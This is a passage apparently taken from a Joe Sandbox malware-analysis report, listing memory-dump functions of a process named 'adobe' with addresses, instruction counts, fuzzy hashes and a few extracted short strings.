Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 960e6ec7838739884959614d9ab2f7cc93f775586d54e2c8dee3f63a7fdb9441
Instruction ID: 3d3ea44d2763c3e051b25a0bf5aec534ef56cb164b92ab2470c22c45920b5056
Opcode Fuzzy Hash: 960e6ec7838739884959614d9ab2f7cc93f775586d54e2c8dee3f63a7fdb9441
Instruction Fuzzy Hash: 8D923334A002148FDBA4EB68C584BADBBF2FF45314F5584A9E409AF365DB35ED85CB80

Function 06A36230 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07533f9f2f04c5b1cd81027cffcfe0bc5d946a3973b4de193b03ff93e0ce33d4
Instruction ID: efac8b5b8547b8f6683442570f91577b0ef7ec3450b9f248ada2509f2933ee51
Opcode Fuzzy Hash: 07533f9f2f04c5b1cd81027cffcfe0bc5d946a3973b4de193b03ff93e0ce33d4
Instruction Fuzzy Hash: 8361C071F001214BDF54ABAAC88065FBADBAF94224F154479E80EDB364DEA9DD0287D2

Function 06A342E3 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c843aaca7b63d7d20dbad5737a22e4703eefa3eea65c206b1a002bc58566db
Instruction ID: 7bb041125b46315d806fdafdffb09c5732248cc5e4b5ca00ca6482b3173a92a9
Opcode Fuzzy Hash: d8c843aaca7b63d7d20dbad5737a22e4703eefa3eea65c206b1a002bc58566db
Instruction Fuzzy Hash: 97812B31B0021A8BDF84EFA5D45479EB7F2EF89304F118429E40AEB394EB75DC468B52

Function 06A34600 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a17fd31291b38ea10d744c7a4e4dfa7f96ead2cd17e7fd3a3e5db1f379f23c6
Instruction ID: ccbfe52cde648edee9b0b352a3298dd4d81f92369679f1d9fe05c440d55f7252
Opcode Fuzzy Hash: 1a17fd31291b38ea10d744c7a4e4dfa7f96ead2cd17e7fd3a3e5db1f379f23c6
Instruction Fuzzy Hash: F2914E30E1021A8FDF60DF64C890B9DB7B1FF89300F208599E549AB255DB74AE85CF91

Function 06A34618 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d7aab4036ef814ddb3c4a879e047df03366b2784f07a8ccb733726efc77188
Instruction ID: 8dcc5bf533e1404a58f8db0be4797480dca8407072175cd5a1a6a199f0551f3b
Opcode Fuzzy Hash: 15d7aab4036ef814ddb3c4a879e047df03366b2784f07a8ccb733726efc77188
Instruction Fuzzy Hash: A1913D30E1061A8BDF60DF68C890BDDB7B1FF89304F208599E549AB255DB70AA85CF91

Function 06A3EF78 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151bf5be51e5a90bf6acf574e85a40721fcdcb9cfd26f22eea5eb98a603c5583
Instruction ID: 95b579148c838a2b3f7dca8a4cb7bd71332f60260ca8d90d3f75a0ce2deea30e
Opcode Fuzzy Hash: 151bf5be51e5a90bf6acf574e85a40721fcdcb9cfd26f22eea5eb98a603c5583
Instruction Fuzzy Hash: E1713970E102199FCB54EFA9D990AADBBF6FF84300F248429E505EB255DB30ED46CB51

Function 06A3EF88 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ac695362d14fd52aca81f0d1bf01ab49633814ccf23e72295c47f9a2af93d3b
Instruction ID: ff0408008e845b607e5439d04d3b8aee0ef09d741679a8996266e1c2ee5590b5
Opcode Fuzzy Hash: 8ac695362d14fd52aca81f0d1bf01ab49633814ccf23e72295c47f9a2af93d3b
Instruction Fuzzy Hash: DD713870E102199FCB54EFA9D990AADBBF6FF84300F24842AE505EB255DB30ED46CB51

Function 06A3FC11 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed300d660f55cb41ae04bb5bb56628f255416a7ccc1165d83aeb2b114d748d7
Instruction ID: d570f0221e6beddaaa7b9a3130740f6e279e47ac8c9ff41cab70be3aa55c2f5c
Opcode Fuzzy Hash: bed300d660f55cb41ae04bb5bb56628f255416a7ccc1165d83aeb2b114d748d7
Instruction Fuzzy Hash: 6451DF31E102199FCF54BBA8E8846ADBBB2FF85315F208869E50ADB250DB359C55CB81

Function 06A3F9C0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c915b360b972a39c44cda01a9b12afac6a142da1148aed03e68ba691c0a9e0ff
Instruction ID: c9474b27a0eec186557f11a14ce6edf13aad382762aee73aa00e4455bb86f7d0
Opcode Fuzzy Hash: c915b360b972a39c44cda01a9b12afac6a142da1148aed03e68ba691c0a9e0ff
Instruction Fuzzy Hash: 25516570F203149FEFA46B6DE99472F265EDB89310F204826F40ADB396CA79CC458792

Function 06A3F9D0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9e191e2de719eb4cbdc073fce835fe9cf45303f6e35836fd9a2ff6cd7a509d4
Instruction ID: fcc137dd719b1aa73f5f6a887e4d3ed4f15bd08275e49da62096993be4a4edbf
Opcode Fuzzy Hash: b9e191e2de719eb4cbdc073fce835fe9cf45303f6e35836fd9a2ff6cd7a509d4
Instruction Fuzzy Hash: 08516770F202149FEFA46B6DD95473F255ED789310F204825F40ADB396CA7DCC458792

Function 06A355D8 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f4429500b685709b6c01bfc1cd6a0dc205b1e53a108eeb15c9c2deac69a520f
Instruction ID: c267752350b3115e28351595b0c032f4a3e109331f2fe08698fc9f0b3a4ec84f
Opcode Fuzzy Hash: 5f4429500b685709b6c01bfc1cd6a0dc205b1e53a108eeb15c9c2deac69a520f
Instruction Fuzzy Hash: 47518E74E002158BDF70AB6DC48077EBBB2EB85310F288829F55ADF281C775D881CB91

Function 06A3545B Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a30cc043a45c22dbcd22b24d3857e76e08b5e7a4a3fa1fc91dd9a3595e07fb6d
Instruction ID: 416a2e588fc6d94019dd6dd141410fa968f9d6df5a0f8b6f1cacdd1406157a5e
Opcode Fuzzy Hash: a30cc043a45c22dbcd22b24d3857e76e08b5e7a4a3fa1fc91dd9a3595e07fb6d
Instruction Fuzzy Hash: 58418B71E002198FCB74DFA9D880AAFBBB2EB85310F10492AE216DB250D331E9558B91

Function 06A3D9C8 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac1683762126586682477a83d3b1e6070d7c78b51b4f715e8a98d357a755ab4
Instruction ID: 011f3d3aa6f4393e6276b5dc2374a110a475584112c5f3a004009aa7f51ac955
Opcode Fuzzy Hash: 2ac1683762126586682477a83d3b1e6070d7c78b51b4f715e8a98d357a755ab4
Instruction Fuzzy Hash: 7C31A130E1031ADBCB65EF64D990A9EBBB6FF85304F108529E405EB605EB70A946CB81

Function 06A320B0 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6bc10e7cc4681c0cc4027d9e9327c98ea054cf0148af5748c9d3cbf6cc8ec30
Instruction ID: 05112ac9a4693f47c46d3eff9ec2d467bb35bef75cc1d706597153b7c973f706
Opcode Fuzzy Hash: a6bc10e7cc4681c0cc4027d9e9327c98ea054cf0148af5748c9d3cbf6cc8ec30
Instruction Fuzzy Hash: 9031CD31E0021A9FCB45DF64D954B9EF7B2EF89300F108429E91AEB350EB71AD46CB90

Function 06A320C0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ef85bc5339217985654c6f0e07b5b7a59a3563a044c6a4f9c4052f368f63c04
Instruction ID: a7edc3763ddac3102bfe65190e83e76a6b4d94a1df3d68ee34281c9b56cb6b4f
Opcode Fuzzy Hash: 1ef85bc5339217985654c6f0e07b5b7a59a3563a044c6a4f9c4052f368f63c04
Instruction Fuzzy Hash: 85318030E006199FCB55DF64D954B9EF7B2BF89300F108529E90AEB350EB71AD46CB90

Function 06A33EF8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7878771c282e17e51e0254593c24710a2e64e8d7f04200bbb30d5a5e5f15e0
Instruction ID: 40642849fed085b78de6db727f50dda279cc8d91d8e872d9643137ea336dfa23
Opcode Fuzzy Hash: 4c7878771c282e17e51e0254593c24710a2e64e8d7f04200bbb30d5a5e5f15e0
Instruction Fuzzy Hash: 41212575F042259FDF50EFA9D980AAEBBF5EB48610F50802AF905EB340E731DD418B91

Function 06A33EE9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b0baad8b324f034af8150be1989e963e99d1db1c5ac9555ee968138ef0e7aa
Instruction ID: db80095ce768c2e8fa242556dbb96a8d0aedfc8c61ba6eaa272b51f9b5806075
Opcode Fuzzy Hash: 42b0baad8b324f034af8150be1989e963e99d1db1c5ac9555ee968138ef0e7aa
Instruction Fuzzy Hash: 67212675F102259FDF50EF68D980AAEB7F5EB88210F508026F905EB350E735D9518B91

Function 00FDD005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2239585356.0000000000FDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fdd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd29575e64ea8e67b19f79eb1ed62c4f97eb53dd7147905501fdcbe56e65a6e
Instruction ID: 67cfe061b70f00551853b07d4ee86e94778f544b63ea321287425b5db7721fd5
Opcode Fuzzy Hash: ffd29575e64ea8e67b19f79eb1ed62c4f97eb53dd7147905501fdcbe56e65a6e
Instruction Fuzzy Hash: D3214D7150D3C09FD703CB24D994711BF71AB86214F29C5DBD8858F2A7C23A980ADB62

Function 00FDD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2239585356.0000000000FDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fdd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef508d753d8444296732f90964a135b381005c9ba4a0866c603cd292d4f6e184
Instruction ID: 0e0b98d179036c9a759d754c34a0d5aadf1bfec5af9017a4a3dfca885c9d6fa7
Opcode Fuzzy Hash: ef508d753d8444296732f90964a135b381005c9ba4a0866c603cd292d4f6e184
Instruction Fuzzy Hash: 6321F571504204DFDB15DF14D984B26BB66FBC4324F28C56AD90A4B35AC33AD846EA62

Function 06A34240 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 312b0ef3b28dae17a9ede5755c4560ce455a05c4d7ffd4df58aea37273e71e91
Instruction ID: 72ec9abafb28a0af5d4792be9ca946fdb234058fac1556dbfc5bc9327d6574de
Opcode Fuzzy Hash: 312b0ef3b28dae17a9ede5755c4560ce455a05c4d7ffd4df58aea37273e71e91
Instruction Fuzzy Hash: 06012230B002210FCB61AAEDD910BABB7DBDFC9710F10846AF50ADB341DE24CC024395

Function 06A34008 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 709efbace9df3c57668a2d4795efa4f654591f675080720be71a1ac675f72bd1
Instruction ID: 78a696b85b677b835dad6b7c52f2e8df6095b02af1e85d7f73a4d1dfc2e9516a
Opcode Fuzzy Hash: 709efbace9df3c57668a2d4795efa4f654591f675080720be71a1ac675f72bd1
Instruction Fuzzy Hash: FA116132B101259FDF58A668D8146AE73EAEBCD211F108539D50AEB344EF69DC068BD2

Function 06A3A350 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a29b6351760fb2431b13cba225de0e8d0897cae7401a8956179f8c108e926c
Instruction ID: 5f8973fb42e33423f24f57e47aad41d3dd514f4fd5f45ca5362f404b34bb4060
Opcode Fuzzy Hash: 60a29b6351760fb2431b13cba225de0e8d0897cae7401a8956179f8c108e926c
Instruction Fuzzy Hash: AA0128397002215FC752AB38D850BAFB7DAEB86710F104539F64ACB351DE25DD428381

Function 06A33FF9 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c6605d07ea8dce440e9a8780636393fa84f8f7e84fe93bda1f59b9f04a0e4c0
Instruction ID: 2df67bdbb259f232017f3f7499a146031aa1af7507fff7a32c884f70ccf7e0cb
Opcode Fuzzy Hash: 1c6605d07ea8dce440e9a8780636393fa84f8f7e84fe93bda1f59b9f04a0e4c0
Instruction Fuzzy Hash: E101BC32B100265BDF54A668DC247EB76EB9BC9611F01813AE11AE7294EF29CC0347E2

Function 06A33CC0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55511c88f1bd06eaa2f0023d70df75979c5d4df72f5efcbaf1229d36434015c0
Instruction ID: 6c65f2a1c27a6125cc01c076775e00b709b371cffefc832611cd946973dc795e
Opcode Fuzzy Hash: 55511c88f1bd06eaa2f0023d70df75979c5d4df72f5efcbaf1229d36434015c0
Instruction Fuzzy Hash: D221F4B1D01259AFCB00DF9AD884ADEFBF8FF48310F10812AE918A7200C378A554CFA5

Function 06A3F1F8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5fd82f8428500c1ccfef51bed0587c3bf7d510d00c29c5e16435b1b64d51c2a
Instruction ID: 22fad43e9c775412d32edbfa20d2be64a09875d7ab0510a2048a91c097f5e258
Opcode Fuzzy Hash: f5fd82f8428500c1ccfef51bed0587c3bf7d510d00c29c5e16435b1b64d51c2a
Instruction Fuzzy Hash: 34012436F200614FCB65A2B89460B6FA7C6DBC9214F0088B9F50ECB341CE24DC434381

Function 06A33CC8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a57dad3f351fecd1e901b43f11e5da60611b475f88ce07e0c042de974debc9f6
Instruction ID: 1580094d333fa14d551909427667356698916fbf92fbae93ae06e6c44f3ce75c
Opcode Fuzzy Hash: a57dad3f351fecd1e901b43f11e5da60611b475f88ce07e0c042de974debc9f6
Instruction Fuzzy Hash: C111B3B5D01259AFCB00DF9AD884ADEFFF4FB49710F10852AE518A7240C378A554CFA5

Function 06A34250 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44160ce133de46e1c74099897c7129dcefdf415278b8ae39bc007de1801f7833
Instruction ID: 0094cfde413e950cee05d4ca6c2cfe0df59e4dec7451cf91a79e4925178d0010
Opcode Fuzzy Hash: 44160ce133de46e1c74099897c7129dcefdf415278b8ae39bc007de1801f7833
Instruction Fuzzy Hash: 6101AD31B005210BDB64A6EDD514B6AB6CADBC9711F10843AF60EDB340EE65DC024385

Function 06A3F208 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdc38ddf0570d241acecce64b82d5d84e29381b134209fbd9979d3409ce54f8f
Instruction ID: 6028effcfe356398fdb65b1f79380834bfda4cbb4d8d359ad39d342d89ad4368
Opcode Fuzzy Hash: bdc38ddf0570d241acecce64b82d5d84e29381b134209fbd9979d3409ce54f8f
Instruction Fuzzy Hash: 0A01D139F201214FCB65A6ADA554B2EB6CADBC9624F10847AF50ECB350DE25DC034385

Function 06A3A360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367e82fe763a261c7006bc56e417745754a8ab310a3c9f5d35892815029bbab6
Instruction ID: 048130fb31824e505f0fd3f4567cfba1ba6b2f9cb9bb8d03f0e0f74267d0c22c
Opcode Fuzzy Hash: 367e82fe763a261c7006bc56e417745754a8ab310a3c9f5d35892815029bbab6
Instruction Fuzzy Hash: 18018135B101254BCB55AB78D450B2EB3D6EB89714F108428F64ECB354EE25DC468781

Function 06A364B8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c949806674b15ebeae97a3a5d3a43be2fc99bcf0521cbb443e59a459260b97c5
Instruction ID: d99ff77b3a583ca703045a62d9e43fb9512165157894cbdb09c18a79ad3daea6
Opcode Fuzzy Hash: c949806674b15ebeae97a3a5d3a43be2fc99bcf0521cbb443e59a459260b97c5
Instruction Fuzzy Hash: D9E09270E182696BDB60DF709B5535A77ACDB02204F2044AAF844CB106E275DE018790

Non-executed Functions

Function 06A376E8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A377FF
$]q, xrefs: 06A37C5B
$]q, xrefs: 06A37824
$]q, xrefs: 06A37C4F
$]q, xrefs: 06A377F3
$]q, xrefs: 06A37BB0
$]q, xrefs: 06A37C71
$]q, xrefs: 06A37C65
$]q, xrefs: 06A37830
$]q, xrefs: 06A37BBC

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 95ed0c1bc9f7025a5f714cbd8ed7d123fa77b864443c0b3867d6c8ab68f600ad
Instruction ID: 06349e2065c0d07a3feb8091f4bdbc50cd246f2a6ccaa7792b7e0a1b9104317e
Opcode Fuzzy Hash: 95ed0c1bc9f7025a5f714cbd8ed7d123fa77b864443c0b3867d6c8ab68f600ad
Instruction Fuzzy Hash: 2D122E70E002298FDB64EF65C994AADB7F6BF84304F208569E40AAB354EB31DD45CF85

Function 06A3A980 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A3AB32
$]q, xrefs: 06A3AA82
$]q, xrefs: 06A3AB3E
$]q, xrefs: 06A3AADD
$]q, xrefs: 06A3AB08
$]q, xrefs: 06A3AAD1
$]q, xrefs: 06A3AA76
$]q, xrefs: 06A3AAFC

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 62ad0814bcc7d60f356bf6aaf48971513f1835baebb1f10e683cbc6380c636c0
Instruction ID: 7f59e43e9fdc2096c4f7684b0d4f67b0aa8e8900ff27cc1a5292f09e35b7cc3d
Opcode Fuzzy Hash: 62ad0814bcc7d60f356bf6aaf48971513f1835baebb1f10e683cbc6380c636c0
Instruction Fuzzy Hash: 69919130E00229DFDBA8EFA5D994B6EB7F6FF44300F108429E981AB254DB359D45CB90

Function 06A370E8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A375F0
$]q, xrefs: 06A37424
$]q, xrefs: 06A37584
$]q, xrefs: 06A373CA
$]q, xrefs: 06A375FC
$]q, xrefs: 06A37430
.5uq, xrefs: 06A37143

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 8fe92edff962c18253686480bc018a79a756ba38fa356901f2170e1b31c15035
Instruction ID: 9fe9f6c5554a89d1c7b8076aeafcfe6db07aac4dbb32e14e7798d6e917459db0
Opcode Fuzzy Hash: 8fe92edff962c18253686480bc018a79a756ba38fa356901f2170e1b31c15035
Instruction Fuzzy Hash: 0EF15070B00215CFDB59EFA5D994B6EB7B6BF84300F248468E8059B368DB35EC42CB95

Function 06A38418 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A38672
$]q, xrefs: 06A386D7
$]q, xrefs: 06A386E3
$]q, xrefs: 06A3867E

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 3969d0745640e78783e9dab0674154dff9db6bc30aeb9a3c4ec3dd2da0e85fe6
Instruction ID: 866e971aff11faeb96fafab566b9f0ec3e74e5971c41064da81ffc61914a0c8e
Opcode Fuzzy Hash: 3969d0745640e78783e9dab0674154dff9db6bc30aeb9a3c4ec3dd2da0e85fe6
Instruction Fuzzy Hash: 72B12D30A102198FDB58EF69D990BAEB7B6FF84304F248429E405DB355DB79DC86CB81

Function 06A38830 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A388AF
LR]q, xrefs: 06A38972
$]q, xrefs: 06A388BB
LR]q, xrefs: 06A38923

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: bc5a00fd6476329629afb8c3e836b5109d1a71473f294872b521054c1e6ee888
Instruction ID: 213d69ffc43775100e47384c64b0d6c54f48a44495f37cd98b3e4a0d3dc770bc
Opcode Fuzzy Hash: bc5a00fd6476329629afb8c3e836b5109d1a71473f294872b521054c1e6ee888
Instruction Fuzzy Hash: 1C518C30B002119FDB58EB28D991B6AB7FAFF84344F148568F406DB3A9DA34EC45CB91

Function 06A3AD13 Relevance: 5.2, Strings: 4, Instructions: 157COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A3AEE4
$]q, xrefs: 06A3AE39
$]q, xrefs: 06A3AEBB
$]q, xrefs: 06A3AE8C

Memory Dump Source

Source File: 00000006.00000002.2258163837.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6a30000_adobe.jbxd

Similarity

API ID:
